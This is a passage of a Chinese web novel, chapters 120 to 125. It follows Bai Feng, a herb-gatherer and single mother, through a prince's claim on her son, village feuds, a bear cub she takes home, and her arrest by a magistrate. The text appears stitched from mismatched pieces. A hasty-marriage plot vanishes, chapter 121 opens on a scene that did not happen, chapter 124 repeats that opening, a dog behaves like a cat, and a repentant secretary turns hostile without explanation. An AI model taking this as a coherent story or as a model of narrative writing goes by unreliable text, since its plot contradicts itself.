“你不在。”白凤说,“所以,你没资格说他是你儿子。” 尉迟深脸色沉了下来:“白凤,你别逼我。” “逼你?”白凤冷笑,“是你在逼我。” 两个人对峙着,空气里弥漫着火药味。 围观的人大气都不敢出,生怕惹怒了王爷。 就在这时,豆豆突然跑了出来。 “娘!”豆豆抱住白凤的腿,“我不走,我要跟娘在一起!” 尉迟深看着豆豆,眼神柔和了一些。 “豆豆。”他蹲下来,“我是你爹。” 豆豆躲在白凤身后,小声说:“我没有爹。” 尉迟深脸色一僵。 “豆豆,别怕。”白凤抱起他,“娘不会让任何人把你带走的。” 尉迟深站起来,深深看了她一眼:“白凤,我给你三天时间考虑。三天后,不管你愿不愿意,我都会带你们走。” 说完,他转身离开了。 白凤抱着豆豆,看着他的背影,心里乱得很。 三天。 她只有三天时间了。 晚上,白凤坐在院子里,怎么都睡不着。 “娘,你在想什么?”豆豆趴在她怀里问。 “没什么。”白凤摸了摸他的头。 “娘,我不想走。”豆豆说,“我喜欢这里。” 白凤心里一酸:“娘知道。” “那个人说他是我爹。”豆豆抬起头,“是真的吗?” 白凤沉默了一会儿,点了点头:“是真的。” “可是,我不喜欢他。”豆豆说,“他看起来好凶。” 白凤苦笑:“他是挺凶的。” “娘,咱们不能不理他吗?”豆豆问。 “不能。”白凤说,“他是王爷,咱们惹不起。” 豆豆不说话了,小脸皱成一团。 白凤看着他,心里难受得要命。 她不想让豆豆跟着她受苦,但也不想让他跟着尉迟深去过那种富贵但冷冰冰的日子。 第120章 我有个主意 “娘,我有个主意。”乐乐突然说。 白凤看向它:“什么主意?” “你不是不想跟他走吗?”乐乐说,“那就让他知难而退。” “怎么让他知难而退?”白凤问。 “嫁人啊。”乐乐说,“你要是嫁人了,他总不能硬抢吧?就算他是王爷,也得讲点道理。” 白凤愣了愣。 对啊,嫁人。 徐禄生不是说要娶她吗? “可是……”白凤犹豫。 “没什么可是的。”乐乐说,“你要是不想跟那个王爷走,就只有这一条路了。” 白凤咬了咬唇。 嫁给徐禄生,真的是唯一的办法吗? 第二天一早,白凤去找徐禄生。 徐禄生正在喂鸡,看见她来了,有些意外:“白姑娘?” “徐大哥。”白凤深吸一口气,“你昨天说的话,还算数吗?” 徐禄生愣了愣,随即反应过来:“你是说……” “嗯。”白凤点点头,“我愿意嫁给你。” 徐禄生脸上露出笑容:“真的?” “真的。”白凤说,“不过,我有个条件。” “什么条件?”徐禄生问。 “要快。”白凤说,“最好今天就把婚事办了。” 徐禄生一愣:“这么急?” “嗯。”白凤说,“徽臻王只给了我三天时间,我不能等。” 徐禄生沉默了一会儿,点了点头:“好,我这就去找媒人。” 白凤松了口气:“谢谢你,徐大哥。” “别说谢。”徐禄生笑了,“你愿意嫁给我,是我的福气。” 白凤心里有些愧疚。 她知道,徐禄生是真心喜欢她的。但她嫁给他,却是为了躲避尉迟深。 这对徐禄生来说,不公平。 “徐大哥……”白凤想说什么,徐禄生打断了她。 “我知道你在想什么。”徐禄生说,“你是不是觉得,这样对我不公平?” 白凤点了点头。 “不公平就不公平吧。”徐禄生说,“只要你愿意嫁给我,我就满足了。” 白凤看着他,心里更愧疚了。 徐禄生动作很快,不到半个时辰,就把媒人请来了。 媒人是个五十来岁的妇人,姓李,在镇上很有威望。 “哎呀,白姑娘,你可真有福气。”李媒婆笑得合不拢嘴,“徐禄生这小伙子,可是咱们镇上数一数二的好后生。” 白凤勉强笑了笑。 “不过……”李媒婆话锋一转,“这婚事办得这么急,是不是有什么原因啊?” 徐禄生说:“我和白姑娘两情相悦,早就想成亲了,只是一直没找到合适的时机。” 李媒婆点点头:“那倒也是。不过,这婚事虽然急,该有的礼数还是要有的。” “该有什么礼数?”徐禄生问。 “首先,得下聘礼。”李媒婆掰着手指头数,“然后,得请族长做见证。最后,得摆酒席,让大家都知道。” 徐禄生皱起眉头:“这得多长时间?” “快的话,三天。”李媒婆说。 白凤心里一沉。 三天? 来不及了。 “能不能再快点?”白凤问。 李媒婆为难地说:“这已经是最快的了。婚姻大事,可不能马虎。” 白凤咬了咬唇。 怎么办? 就在这时,外面传来一阵喧哗声。 “王爷来了!”有人喊。 白凤脸色一变。 尉迟深怎么又来了? 她走到门口,果然看见尉迟深站在外面。 “白凤。”尉迟深看着她,“听说你要嫁人?” 白凤心里一惊。 他怎么知道的? “是又怎么样?”白凤硬着头皮说。 “嫁给谁?”尉迟深问。 “徐禄生。”白凤说。 尉迟深转头看向徐禄生,眼神冷得像冰:“你就是徐禄生?” 徐禄生被他看得后背发凉,但还是硬着头皮说:“是我。” “你想娶白凤?”尉迟深问。 “是。”徐禄生说。 “凭什么?”尉迟深声音很轻,但听在耳朵里,却重得吓人。 徐禄生愣了愣:“凭什么?凭我喜欢她,她也愿意嫁给我。” “她愿意?”尉迟深冷笑,“她是真的愿意,还是为了躲我?” 徐禄生说不出话来。 白凤站出来:“我是真心愿意的。” “是吗?”尉迟深盯着她,“那你敢不敢看着我的眼睛,再说一遍?” 白凤咬了咬唇,抬起头,看着他的眼睛:“我愿意嫁给徐禄生。” 尉迟深盯着她,眼神复杂。 过了好一会儿,他突然笑了。 那笑容,冷得让人心里发毛。 “好。”尉迟深说,“既然你想嫁,那我就成全你。” 白凤心里一松。 他答应了? “不过……”尉迟深话锋一转,“我有个条件。” 白凤心里又提了起来:“什么条件?” “豆豆得跟我走。”尉迟深说。 白凤脸色大变:“不行!” “为什么不行?”尉迟深说,“他是我儿子,跟我走天经地义。” “他是我儿子!”白凤声音都颤了,“我不会让你把他带走的!” “那你就别嫁人。”尉迟深说,“跟我回京城,咱们一家三口在一起。” 白凤气得浑身发抖。 这个男人,太无耻了! “你……”白凤想骂他,却发现自己说不出话来。 尉迟深看着她,眼神里有些无奈:“白凤,我不是在威胁你。我只是想让你明白,豆豆是我儿子,我有权利照顾他。” “你有权利?”白凤冷笑,“这四年你在哪儿?你照顾过他吗?” “我不知道他的存在。”尉迟深说,“要是知道,我早就来找你们了。” “那现在呢?”白凤问,“你知道了,就想把他带走?你问过他的意见吗?” 尉迟深沉默了。 “豆豆!”白凤喊了一声。 豆豆从屋里跑出来,躲在白凤身后。 “豆豆,你想跟他走吗?”白凤问。 豆豆摇摇头:“不想。” “听见了吗?”白凤看着尉迟深,“他不想跟你走。” 尉迟深看着豆豆,眼神里闪过一丝痛苦。 “豆豆。”他蹲下来,“我是你爹,我不会害你的。” 豆豆躲得更紧了:“我不认识你。” 尉迟深脸色更难看了。 他站起来,深深看了白凤一眼:“白凤,我再给你一次机会。跟我回京城,我保证,你和豆豆都会过上好日子。” “我不需要。”白凤说,“我只想和豆豆在一起,过普通人的日子。” 第121章 太贵了 黑甲侍卫走后,白凤靠在门板上,脑子里乱糟糟的。 豆豆从屋里跑出来,抱住她的腿:“娘,那个黑叔叔又来了?” “没事。”白凤摸摸他的头,“睡觉去。” 把豆豆哄睡后,白凤坐在院子里,看着月亮发呆。乐乐和来财趴在她脚边,福球缩在她怀里,三只狗都安静得很。 第二天一早,白凤背着背篓准备上山。 徐禄生正好路过,看见她:“白姑娘,又要去采药?” “嗯。”白凤点头,“家里快断粮了。” “那你小心点。”徐禄生犹豫了下,“昨晚那个黑甲侍卫……” “别提他。”白凤打断他的话,“我不想听。” 徐禄生张了张嘴,最后什么都没说,转身走了。 白凤带着三只狗上了山。这次她打算往深处走走,看能不能找到更值钱的药材。 走了大半个时辰,白凤在一处山坳里发现了几株野山参。她正要挖,乐乐突然低吼起来。 白凤抬头,看见不远处站着个人。 是师爷。 师爷看见她,脸色有些不自然:“白姑娘,你也在这儿采药?” 白凤没说话,继续挖参。 师爷走过来,干笑两声:“那个……之前的事,是我不对。” 白凤手上动作一顿:“师爷这是什么意思?” “我……”师爷搓着手,“我也是被沈家那婆娘逼的。你舅妈给了我五两银子,让我帮着说话。” 白凤冷笑:“所以师爷就昧着良心说瞎话?” “我……”师爷脸涨得通红,“我也是没办法。家里老娘病了,需要钱。” “那现在呢?”白凤站起来,拍拍手上的土,“师爷又来找我做什么?” 师爷咽了口唾沫:“昨天我看见那个黑甲侍卫了。白姑娘,你……你到底是什么人?” 白凤明白了。 师爷这是怕了。 怕她真的有什么来头,怕她秋后算账。 “师爷放心。”白凤背起背篓,“我不是那种记仇的人。不过以后沈家那边要是再找你,你自己看着办。” 说完,她带着三只狗走了。 师爷站在原地,擦了擦额头的汗。 白凤下山的时候,路过舅妈家。院子里传来舅妈和王婆子的说话声。 “我跟你说,那个白凤肯定是攀上什么高枝了。”王婆子压低声音,“要不然怎么会有黑甲侍卫来找她?” “可不是。”舅妈的声音里带着酸意,“我就说她不是个安分的。” “你说她会不会报复咱们?”王婆子有些担心。 舅妈沉默了会儿:“应该……不会吧?” “那可说不准。”王婆子叹气,“我看那黑甲侍卫可不是好惹的。” 白凤站在墙外,嘴角勾起一个弧度。 怕了? 活该。 她没进去,直接回了家。 豆豆正在院子里和福球玩,看见她回来,高兴得跳起来:“娘!你回来啦!” “嗯。”白凤放下背篓,“豆豆乖不乖?” “乖!”豆豆拍着胸脯,“我还喂鸡了呢!” 白凤笑了笑,摸摸他的头。 晚上,白凤把采到的药材整理好。这次收获不错,有几株野山参,还有些灵芝和何首乌。 她打算明天去郡城卖。 镇上的赤脚郎中死了以后,就没人收药材了。白凤之前去过几次郡城,那边有家药铺,掌柜的姓钱,人挺爽快。 第二天一早,白凤带着药材出发了。 豆豆要跟着去,白凤想了想,还是带上了。三只狗也跟着,乐乐和来财在前面开路,福球跟在豆豆身边。 到郡城的时候,已经是午后了。 钱掌柜看见白凤,笑得眼睛都眯起来了:“白姑娘,又来了?” “嗯。”白凤把背篓放下,“这次带了些好东西。” 钱掌柜打开背篓,眼睛一亮:“野山参?还有灵芝?” “都是山里采的。”白凤说。 钱掌柜仔细看了看,点点头:“成色不错。这样吧,野山参我给你五两一株,灵芝三两一朵,何首乌一两一根。” 白凤算了算,这次能卖二十多两银子。 “成交。” 钱掌柜让伙计去拿银子,自己倒了杯茶给白凤:“白姑娘,你这采药的本事可真不错。” “运气好罢了。”白凤喝了口茶。 “对了。”钱掌柜压低声音,“白姑娘,你要是能弄到更稀罕的东西,我这边有人要。” 白凤抬眼:“什么东西?” “比如说……”钱掌柜想了想,“千年何首乌,雪莲,还有熊胆之类的。” “熊胆?”白凤眉头一挑。 “对。”钱掌柜点头,“有个大户人家的老爷病了,郎中说要熊胆入药。要是白姑娘能弄到,我给你五十两银子。” 五十两? 白凤心动了。 “我试试。” 拿了银子,白凤带着豆豆往回走。 路过一条巷子的时候,突然窜出来几个人,拦住了她的去路。 “把银子交出来!”为首的是个满脸横肉的汉子,手里拿着根木棍。 白凤下意识地把豆豆护在身后。 “我没银子。” “少废话!”横肉汉子啐了口唾沫,“我看见你从药铺出来了,肯定有银子!” 白凤往后退了一步,乐乐和来财已经龇起了牙。 “我劝你们最好别动手。”白凤冷着脸,“要不然别怪我不客气。” “哟呵,还挺横?”横肉汉子冷笑,“兄弟们,上!” 几个人一起扑过来。 乐乐和来财同时扑了上去,一人咬住一个。横肉汉子举起木棍要打狗,白凤抄起旁边的扁担,狠狠砸在他手上。 “啊!”横肉汉子惨叫一声,木棍掉在地上。 就在这时,一道黑影闪过,几个人全都倒在了地上。 白凤抬头,看见那个黑甲侍卫站在不远处。 “你……” 黑甲侍卫没说话,转身就走了。 白凤愣了愣,抱起豆豆,带着三只狗快步离开。 回到镇上的时候,天已经黑了。 白凤把豆豆哄睡,坐在院子里发呆。 那个黑甲侍卫一直在暗中保护她? 为什么? 是徽臻王的命令? 白凤越想越烦,干脆不想了。 第二天,白凤去了镇上的牙行,想换个房子。 现在手里有钱了,总不能一直住在这破院子里。而且豆豆也大了,该有个像样的地方住。 牙行的老板姓李,是个精明的中年男人。他听说白凤要买房子,立刻热情起来。 “白姑娘,你想要什么样的房子?” “不用太大,三间房就够了。”白凤说,“最好有个院子,能养狗。” “有有有。”李老板笑得眉眼弯弯,“我这儿正好有一处,在镇东头,三间正房,两间厢房,还有个不小的院子。” “多少钱?” “三十两。” 白凤皱眉:“太贵了。” 第122章 成,就二十五两 “白姑娘,这价钱真不贵。”李老板赔笑,“那房子是青砖瓦房,院墙也是新修的。” 白凤想了想:“二十五两,不能再多了。” 李老板犹豫了下,最后点头:“成,就二十五两。” 签了契约,白凤拿到了房契。 搬家那天,徐禄生带着几个人来帮忙。白凤东西不多,很快就搬完了。 新房子确实不错,院子宽敞,房间也亮堂。豆豆高兴得在院子里跑来跑去,三只狗也兴奋得直叫。 “白姑娘,恭喜啊。”徐禄生笑着说。 “谢谢徐大哥。”白凤递给他一个荷包,“这是工钱。” “哎,这怎么好意思。”徐禄生推辞。 “拿着吧。”白凤塞到他手里,“帮了这么大忙,不能让你白跑。” 徐禄生只好收下了。 晚上,白凤坐在新房子的院子里,看着天上的星星。 豆豆靠在她怀里,小手拽着她的衣角:“娘,咱们以后就住这儿了?” “嗯。”白凤摸摸他的头,“以后就住这儿。” “太好了!”豆豆高兴得直拍手。 白凤笑了笑,心里却在想别的事。 钱掌柜说的熊胆,她得想办法弄到。 五十两银子,够她和豆豆过很久了。 而且她记得,镇子后面的山里,有个地方叫磨房沟,据说那里有黑熊出没。 白凤打定主意,过几天就去看看。 白凤在新房子住了几天,每天都在琢磨怎么弄到熊胆。 豆豆倒是适应得很快,每天在院子里和三只狗玩得不亦乐乎。 这天早上,白凤正在院子里喂鸡,听见外面有人敲门。 打开门,是镇上的赤脚郎中。 不对,应该说是原来的赤脚郎中。自从那个老郎中死了以后,他儿子就接了班。 “白姑娘。”年轻郎中笑得有些谄媚,“听说你采药的本事不错?” 白凤看着他,没说话。 “是这样的。”年轻郎中搓着手,“我想跟白姑娘合作。你采药,我收购,咱们五五分成,怎么样?” “不怎么样。”白凤直接拒绝,“我有自己的门路。” 年轻郎中脸色一僵:“白姑娘,别这么绝情嘛。咱们都是镇上的人,应该互相帮衬。” “我不需要。”白凤说完,关上了门。 年轻郎中站在门外,脸色阴沉下来。 白凤回到院子里,心里有些不舒服。 这个年轻郎中,她见过几次,总觉得这人眼神不对劲,贼兮兮的。 过了几天,白凤打听清楚了磨房沟的位置,决定去碰碰运气。 她把豆豆托付给徐禄生,自己带着三只狗上了山。 磨房沟在山的深处,平时很少有人去。白凤走了大半天,才找到地方。 这里地势险峻,到处都是乱石和荆棘。白凤小心翼翼地往前走,乐乐和来财在前面探路,福球跟在她身边。 走着走着,乐乐突然停下来,冲着前方低吼。 白凤抬头,看见不远处有个山洞。 洞口很大,黑漆漆的,看不清里面有什么。 白凤捡起一块石头,扔进洞里。 过了会儿,洞里传来一声低沉的吼声。 是熊! 白凤心里一喜,正要靠近,突然听见身后有动静。 她回头,看见年轻郎中正躲在一棵树后面,探头探脑地看着她。 白凤皱眉:“你跟着我干什么?” 年轻郎中被发现了,干脆走了出来:“白姑娘,别误会。我就是想看看你是怎么采药的。” “看够了吗?”白凤冷着脸,“看够了就走。” “别这么凶嘛。”年轻郎中嬉皮笑脸地走过来,“白姑娘,你是不是找到好东西了?咱们一起分,怎么样?” “不怎么样。”白凤转身就走,“你爱跟不跟。” 年轻郎中看着她的背影,眼里闪过一丝阴狠。 白凤走了一段路,回头看了看,年轻郎中还在原地。 她没管他,继续往前走。 走了没多远,突然听见身后传来一声惨叫。 白凤回头,看见年轻郎中不知道什么时候跑到了山洞附近,正被一只黑熊追着跑。 “救命!救命啊!”年轻郎中吓得魂飞魄散,拼命往这边跑。 黑熊速度很快,几步就追上了他,一巴掌拍在他背上。 年轻郎中惨叫一声,摔倒在地。 黑熊扑上去,一口咬住了他的脖子。 白凤站在原地,看着这一幕,没有动。 不是她冷血,而是她根本来不及救。 而且说实话,这个年轻郎中自己作死,怪不得别人。 黑熊咬死了年轻郎中,叼着尸体往山洞里拖。 白凤等黑熊走远了,才小心翼翼地靠近山洞。 她趴在一块大石头后面,观察了一会儿。 黑熊把尸体拖进洞里,过了会儿又出来了,在洞口附近转悠。 白凤注意到,洞里还传来几声细微的叫声。 是熊崽! 白凤眼睛一亮。 成年黑熊她对付不了,但熊崽就不一样了。 她等了很久,终于等到黑熊离开了山洞,往山里走去。 白凤立刻带着三只狗冲进山洞。 洞里很黑,白凤摸出火折子,点燃了带来的火把。 借着火光,她看见洞里有两只熊崽,毛茸茸的,正缩在角落里。 白凤走过去,熊崽看见她,发出威胁的叫声。 “别怕。”白凤轻声说,“我不会伤害你们。” 她从怀里掏出一块肉干,递给熊崽。 熊崽闻了闻,犹豫了下,还是接过去吃了。 白凤趁机抱起一只熊崽,转身就跑。 刚跑出山洞,就听见身后传来一声愤怒的吼声。 是黑熊回来了! 白凤抱着熊崽,拼命往山下跑。乐乐和来财跟在她身边,福球跑在最前面。 黑熊在后面追,速度快得吓人。 白凤跑得气喘吁吁,眼看就要被追上了,突然一道黑影闪过,黑熊惨叫一声,倒在了地上。 白凤回头,看见那个黑甲侍卫站在黑熊旁边,手里拿着一把长剑。 “你……” 黑甲侍卫没说话,转身就走了。 白凤愣了愣,抱着熊崽继续往山下跑。 回到家的时候,天已经黑了。 豆豆看见她抱着个毛茸茸的东西,好奇地凑过来:“娘,这是什么?” “熊崽。”白凤把熊崽放在地上。 “熊崽?”豆豆眼睛一亮,“好可爱!” 熊崽看见豆豆,叫了一声,往他身边蹭。 豆豆高兴得不行,伸手摸了摸熊崽的头。 白凤看着这一幕,嘴角勾起一个弧度。 看来这熊崽挺乖的。 接下来几天,白凤每天都给熊崽喂食,还教它一些简单的指令。 熊崽很聪明,学得很快。而且它和三只狗相处得也不错,经常一起玩。 豆豆更是喜欢得不行,每天都抱着熊崽不撒手。 白凤给熊崽起了个名字,叫黑球。 第123章 有事就说,没事就走 黑球长得很快,没几天就大了一圈。而且它很护主,谁要是对白凤和豆豆不客气,它立刻就龇牙。 这天,白凤正在院子里晒药材,听见外面有人敲门。 打开门,是王婆子。 王婆子看见白凤,脸上堆起笑:“白姑娘,听说你搬新家了?我来看看。” “不用了。”白凤冷着脸,“王婆子有事就说,没事就走。” 王婆子脸色一僵,干笑两声:“白姑娘,别这么生分嘛。” 说着,她就要往院子里走。 白凤拦住她:“我说了,不用看。” “哎呀,我就看一眼。”王婆子推开她,走进院子。 刚进院子,就看见黑球趴在地上晒太阳。 王婆子吓了一跳:“这……这是什么?” “熊。”白凤淡淡地说。 “熊?”王婆子脸色发白,“你……你怎么养这种东西?” “关你什么事?”白凤冷笑,“王婆子,我劝你最好别多管闲事。” 王婆子咽了口唾沫,转身就走了。 白凤看着她的背影,心里有种不好的预感。 果然,第二天,王婆子就带着几个人来了。 为首的是镇上的里正,后面跟着舅妈和几个妇人。 “白凤!”里正板着脸,“听说你在家里养熊?” “是又怎么样?”白凤抱着胳膊,靠在门框上。 “怎么样?”里正气得胡子都翘起来了,“你知不知道这有多危险?万一伤了人怎么办?” “不会伤人。”白凤说,“黑球很乖。” “乖?”王婆子尖声道,“昨天我来的时候,它差点咬我!” 白凤冷笑:“王婆子,你自己闯进我家,黑球护主有什么错?” “你……”王婆子气得说不出话。 舅妈这时候开口了:“白凤,你这样不行。镇上这么多人,万一出了事,你负得起责任吗?” “我负得起。”白凤看着她,“舅妈,你是不是忘了,我已经不是以前那个任人欺负的白凤了?” 舅妈脸色一白,想起那个黑甲侍卫,不敢再说话。 里正看了看舅妈,又看了看白凤,犹豫了下:“白凤,你要是真想养,就把它关起来,别让它到处跑。” “不用里正操心。”白凤说,“黑球只在我家院子里,不会出去。” 里正叹了口气,带着人走了。 王婆子走之前,狠狠瞪了白凤一眼。 白凤关上门,心里有些烦躁。 看来这个王婆子不会善罢甘休。 王婆子走后,白凤就知道这事没完。 果然,没过两天,王婆子又来了,这次还带着舅妈。 “白凤,你出来!”王婆子在门外喊。 白凤打开门,冷着脸:“又怎么了?” “你看看!”王婆子撩起袖子,露出胳膊上的几道抓痕,“这是你那熊干的!” 白凤看了一眼,那抓痕明显是猫抓的,根本不是熊。 “王婆子,你当我傻?”白凤冷笑,“这是猫抓的,跟黑球有什么关系?” “就是它抓的!”王婆子死不承认,“昨天我路过你家门口,它突然扑出来,把我抓伤了!” “胡说八道。”白凤说,“黑球一直在院子里,根本没出去过。” “你……”王婆子气得脸都红了。 舅妈这时候开口了:“白凤,不管怎么说,你养这种东西确实不合适。要是真伤了人,你怎么办?” “不会伤人。”白凤说,“舅妈,你要是不信,可以进来看看。” 舅妈犹豫了下,还是没敢进去。 王婆子看舅妈不说话,更生气了:“行,你不管是吧?那我就去找里正,让他把你赶出镇子!” 说完,她气冲冲地走了。 舅妈看了白凤一眼,也跟着走了。 白凤关上门,心里有些不安。 王婆子这次是铁了心要找她麻烦。 果然,当天下午,里正又来了,这次还带着镇上的几个老人。 “白凤,你出来。”里正的语气比上次严厉多了。 白凤打开门,看着他们。 “白凤,镇上的人都说你养熊太危险了。”里正说,“大家商量了一下,决定让你把熊处理掉,要不然就搬出镇子。” “凭什么?”白凤冷着脸,“我在自己家里养,又没伤人,凭什么要我处理掉?” “就凭大家的安全!”王婆子在人群里喊,“你要是不处理,我们就去县衙告你!” 白凤正要说话,突然听见院子里传来豆豆的哭声。 她转身跑进院子,看见豆豆抱着黑球,眼泪汪汪的。 “娘,他们要把黑球带走吗?”豆豆哭着问。 白凤心里一软,蹲下来抱住他:“不会的,娘不会让他们带走黑球。” “可是……”豆豆抽泣着。 白凤站起来,走到门口,看着里正和那些人:“我不会处理掉黑球,也不会搬走。你们要是不服,就去县衙告。” 里正皱眉:“白凤,你这是要跟全镇的人作对?” “不是我要作对,是你们欺人太甚。”白凤冷笑,“黑球从来没伤过人,王婆子胳膊上的伤明明是猫抓的,你们却要我处理掉黑球。这是什么道理?” “你……”里正被她说得哑口无言。 就在这时,一个声音响起:“让开。” 人群自动分开,一个中年男人走了进来。 白凤认出来了,是舅舅。 舅舅这些年一直在外面做生意,很少回来。没想到这次居然回来了。 “大哥!”舅妈惊讶地叫道。 舅舅没理她,走到白凤面前,上下打量了她一眼:“你就是白凤?” “是。”白凤点头。 舅舅转身看着里正:“里正,这事我来处理。” 里正犹豫了下,点点头:“那好,就交给你了。” 说完,他带着人走了。 王婆子不甘心,还想说什么,被舅舅一个眼神瞪了回去。 人都走了,舅舅才开口:“白凤,跟我进来说话。” 白凤带着舅舅进了院子。 舅舅看见黑球,眉头皱了皱,但没说什么。 “坐。”白凤指了指凳子。 舅舅坐下,看着她:“你娘去世这些年,你过得怎么样?” 白凤没想到他会问这个,愣了愣:“还行。” “还行?”舅舅叹了口气,“我听说了,你舅妈这些年没少欺负你。” 白凤没说话。 舅舅又说:“这次的事,我会处理。你放心,不会让你搬走,也不会让你处理掉这熊。” “为什么?”白凤看着他,“舅舅不怕得罪镇上的人?” “怕什么?”舅舅摆摆手,“我在外面这些年,见过的世面多了。一只熊而已,只要不伤人,养着就养着。” 白凤心里松了口气。 舅舅站起来,拍了拍她的肩膀:“好好过日子,有什么事就来找我。” 说完,他转身走了。 白凤看着他的背影,心里有些复杂。 舅舅这个人,虽然平时不怎么管家里的事,但关键时刻还是靠得住的。 接下来几天,镇上的人果然没再来找麻烦。 王婆子虽然不甘心,但有舅舅撑腰,她也不敢再闹。 白凤松了口气,继续过自己的日子。 第124章 那个黑叔叔又来了? 白凤靠在门板上,听着外面的脚步声渐渐远去,心里却没有半点轻松。 豆豆从屋里跑出来,小脸上满是担忧:“娘,那个黑叔叔又来了?” “没事。”白凤蹲下身,摸了摸儿子的头,“娘不会让任何人把你带走的。” 乐乐从院子里跑过来,用脑袋蹭着白凤的腿,呜呜地叫着。来财也从屋檐上跳下来,落在白凤肩头,尾巴一甩一甩的。福球从豆豆怀里探出头,小眼睛滴溜溜地转。 “都别担心。”白凤站起身,拍了拍衣服上的灰,“天塌不下来。” 话虽这么说,她心里却盘算着该怎么办。徽臻王那边不会善罢甘休,她得想个万全之策。 第二天一早,白凤正在院子里喂鸡,就听见外面传来一阵吵闹声。 “白凤!你给我出来!” 这声音白凤太熟悉了,是沈冬梅。 她皱了皱眉,放下手里的米盆,走到院门口。门外站着沈冬梅和她舅舅童大山,沈冬梅挺着个肚子,脸色却不太好看。 “有事?”白凤冷着脸问。 “白凤表妹。”童大山堆着笑脸,“上次的事是我们不对,我特地带冬梅来给你赔罪。” 白凤扫了他们一眼,没说话。 沈冬梅咬着牙,脸上的表情要多难看有多难看:“对不起。” 这三个字像是从牙缝里挤出来的,白凤听了差点笑出声。 “行了,我接受了。”白凤说,“没别的事就回吧。” “哎,别急。”童大山拦住她,“表妹,你看冬梅现在怀着孩子,日子过得也不容易。你现在日子过得好,能不能帮衬帮衬?” 白凤冷笑:“帮衬?当年你们从我家拿走那些东西的时候,怎么没想过帮衬我?” “那不是都还给你了吗?”童大山脸上的笑容有些僵,“再说了,都是一家人,何必计较那么多?” “一家人?”白凤的声音更冷了,“当年我娘病重,我去找你们借钱,你们怎么说的?现在又来跟我说一家人?” 童大山的脸色变了变,还想说什么,沈冬梅却突然捂着肚子叫了起来:“哎哟,我的肚子!” “冬梅!”童大山慌了,“你怎么了?” 沈冬梅脸色发白,额头上冒出冷汗:“爹,我肚子疼。” 白凤看着这一幕,心里冷笑。装的吧?不过她也懒得拆穿,转身就要进屋。 “白凤!”童大山急了,“你懂医术,快帮冬梅看看!” “我不会。”白凤头也不回,“去找大夫吧。” 说完,她砰地一声关上了门。 院子里,豆豆正蹲在地上逗福球玩。乐乐和来财趴在一旁,懒洋洋地晒太阳。 “娘,外面怎么了?”豆豆抬起头问。 “没事,几只苍蝇。”白凤走过去,在儿子身边坐下。 豆豆歪着头想了想:“苍蝇?可是我没听见嗡嗡声啊。” 白凤忍不住笑了,捏了捏他的小脸:“你这小机灵鬼。” 日子又平静了几天。白凤每天照常去镇上卖药,生意越来越好。她治好的人多了,名声也就传开了。 这天,白凤正在摊位上给人看病,突然听见有人叫她。 “白大夫!” 白凤抬头,看见一个穿着粗布衣裳的妇人跑过来,脸上满是焦急。 “怎么了?”白凤问。 “我家男人在军营里当差,前几天受了伤,军医说要用一种药材,可是这药材太难找了。”妇人说着说着就哭了起来,“求求你,帮帮我吧!” 白凤皱起眉头:“什么药材?” “叫什么……雪莲?”妇人擦着眼泪,“军医说只有这个能救我家男人的命。” 雪莲?白凤心里一动。这药材确实稀罕,但她记得镇外的山里好像有。 “我试试看。”白凤说,“不过不保证能找到。” “谢谢,谢谢!”妇人连连道谢。 白凤收了摊,带着乐乐和来财进了山。福球太小,她让豆豆在家看着。 山里的路不好走,白凤爬了大半天,终于在一处山崖边找到了雪莲。 “找到了!”她小心翼翼地把雪莲挖出来,用布包好。 回到镇上,天已经黑了。白凤把雪莲送到那妇人家里,妇人感激得不知道说什么好。 “白大夫,你真是我们家的救命恩人!”妇人拉着白凤的手,“等我家男人好了,一定好好谢你!” “不用。”白凤摆摆手,“救人是应该的。” 回到家,豆豆已经睡着了。白凤给他掖了掖被子,自己也躺下休息。 没想到,这件事却给她惹来了麻烦。 几天后,白凤正在院子里晾药材,就听见外面传来一阵急促的敲门声。 她打开门,门外站着几个衙役,为首的正是县衙的师爷。 “白凤,跟我们走一趟。”师爷冷着脸说。 “为什么?”白凤心里一沉。 “县太爷要见你。”师爷说,“别废话,快走!” 白凤还想问什么,几个衙役已经上前,架着她就往外走。 “娘!”豆豆从屋里跑出来,想要追上去,却被一个衙役拦住了。 “乐乐!来财!”白凤喊了一声。 乐乐和来财立刻冲了出来,朝着那些衙役扑去。可是衙役早有准备,拿出网子把它们罩住了。 “把这些畜生也带走!”师爷冷笑,“省得它们在外面闹事。” 白凤被押到县衙,县太爷坐在堂上,脸色阴沉。 “白凤,你可知罪?”县太爷拍了拍惊堂木。 “我犯了什么罪?”白凤冷静地问。 “你私自进山采药,破坏山林,还偷盗官府的药材!”县太爷厉声道。 白凤愣了一下,随即明白过来。这是有人要整她。 “大人,我采的药材是为了救人。”白凤说,“而且那山林并不是官府的。” “放肆!”县太爷一拍桌子,“你还敢狡辩?来人,把她关进大牢!” 白凤被押进了牢房,乐乐、来财和福球也被关在隔壁的笼子里。 牢房里又黑又冷,白凤靠在墙上,脑子里飞快地转着。 县太爷为什么突然要抓她?这背后肯定有人指使。 她想起那天沈冬梅和童大山来找她的事,心里有了猜测。 果然,第二天,师爷来到牢房外,脸上带着得意的笑容。 “白凤,你现在知道厉害了吧?”师爷说,“只要你肯把你那些药方交出来,我就让县太爷放了你。” 白凤冷笑:“原来是为了这个。” “识相点。”师爷说,“不然你就等着在牢里待一辈子吧。” “做梦。”白凤说,“我的药方,谁也别想拿走。” 师爷的脸色变了:“你别敬酒不吃吃罚酒!” “随便。”白凤转过身,不再理他。 师爷气得跺脚,转身离开了。 牢房里,乐乐和来财在笼子里不安地叫着。福球缩在角落里,小眼睛里满是恐惧。 “别怕。”白凤隔着栏杆安慰它们,“我们会出去的。” 第125章 我妻子说,是你救了我的命 可是她心里也没底。县太爷明摆着是要整她,她一个弱女子,能有什么办法? 就在这时,牢房外传来一阵脚步声。 白凤抬起头,看见一个穿着军服的男人走了进来。 “你是……”白凤愣了一下。 “我叫李铁柱,是军营里的百夫长。”男人说,“我妻子说,是你救了我的命。” 白凤想起来了,就是那个需要雪莲的伤兵。 “你怎么来了?”白凤问。 “我听说你被抓了,特地来看看。”李铁柱说,“白大夫,你放心,我一定会想办法救你出去的。” “谢谢。”白凤说,“不过你要小心,县太爷不是好惹的。” “我知道。”李铁柱点点头,“但是我欠你一条命,不能眼睁睁看着你受苦。” 说完,他转身离开了。 白凤看着他的背影,心里涌起一丝希望。 又过了两天,牢房外突然传来一阵喧哗声。 白凤站起身,透过栏杆往外看,只见一队士兵冲进了县衙。 为首的,是一个穿着黑色盔甲的男人。 白凤的心跳漏了一拍。 是尉迟深。 尉迟深走进牢房,看见白凤,眉头皱了起来。 “怎么搞成这样?”他的声音里带着怒意。 